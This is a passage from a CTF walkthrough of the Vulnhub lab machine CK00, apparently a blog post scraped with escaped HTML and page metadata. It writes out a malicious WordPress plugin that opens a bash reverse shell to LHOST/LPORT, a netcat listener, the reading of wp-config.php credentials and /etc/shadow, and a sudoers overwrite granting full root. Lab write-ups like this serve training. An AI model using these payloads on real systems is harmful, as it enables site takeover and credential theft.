Reverse Shell Plugin<\/a>.\u00a0 Save yourself some headaches, just make this, use it, and store it for later use.<\/p>\ntouch rshell.php\r\nvim rshell.php\r\n <?php\r\n \r\n \/**\r\n * Plugin Name: Reverse Shell Plugin\r\n * Plugin URI:\r\n * Description: Reverse Shell Plugin\r\n * Version: 1.0\r\n * Author: Dasagreeva\r\n * Author URI: https:\/\/armourinfosec.com\r\n *\/\r\n exec(\"\/bin\/bash -c 'bash -i >& \/dev\/tcp\/LHOST\/LPORT 0>&1'\");\r\n ?>\r\nzip rshellplugin.zip rshell.php<\/pre>\n<\/p>\n
Once we get it zipped, we move to the WordPress UI<\/strong>. Under Plugins<\/strong>, we select Add New<\/strong><\/p>\n<\/p>\n
We activate our plugin<\/strong>:<\/p>\n<\/p>\n
We catch our shell. Yesssssssssssss………<\/p>\n
nc -nlvp 1505<\/pre>\n<\/p>\n
Privilege Escalation<\/strong><\/h3>\nWe look around for user flag and found it.<\/p>\n
<\/p>\n
We then move to wp<\/strong>–config<\/strong>.php<\/strong> file for credentials.<\/p>\ncat \/var\/www\/html\/wp-config.php<\/pre>\n<\/p>\n
got password bla_is_my_password<\/strong><\/p>\n<\/p>\n
Excellent! Here’s where we cut out a step or two. I saw a few things and maybe that’s how I’m supposed to get to bla1 but on a hunch, I guess the password is: bla1_is_my_password<\/strong>. I got ssh connection.<\/p>\nssh bla1@192.168.2.4<\/pre>\n<\/p>\n
Checking out my sudo privileges<\/strong>, I learn that I can execute \/bin\/rbash as the user ck-00<\/strong> which essentially moves us into the next account.<\/p>\nsudo -u ck-00 \/bin\/rbash<\/pre>\n<\/p>\n
There is\u00a0 sudo privileges as our new user.We can execute \/bin\/dd<\/strong> as root<\/strong>. dd\u00a0 allows us to “convert and copy a file” and it’s used for backups. We can also use it to read and write files.We should be able to read the \/etc\/shadow file as root.<\/p>\nsudo dd if=\/etc\/shadow<\/pre>\n<\/p>\n
Excellent! We should also be able to write a new line into sudoers<\/p>\n
<\/p>\n
echo \"ck-00 ALL=(ALL) NOPASSWD: ALL\" | sudo dd of=\/etc\/sudoers<\/pre>\n<\/p>\n
root flag…..<\/p>\n
<\/p>\n
Conclusion: It was an easy CTF with some loop and really nice concepts. It was really helpful for beginners and people preparing for OSCP. Thank to Vishal Biswas AKA Cyberknight . I hope to see more challenges like this in the future.<\/p>\n","protected":false},"excerpt":{"rendered":"
I will share with you a new Walkthrough for Vulnhub machines. CK00: Vulnhub Walkthrough for the CTF Challenge Created by…<\/p>\n","protected":false},"author":1,"featured_media":25792,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[107],"tags":[117,119,118],"yoast_head":"\n
CK00: Vulnhub Walkthrough | Infosec Warrior CTF - Armour Infosec<\/title>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\t\n\t\n\t\n\n\n\n\n\n\t\n\t\n\t\n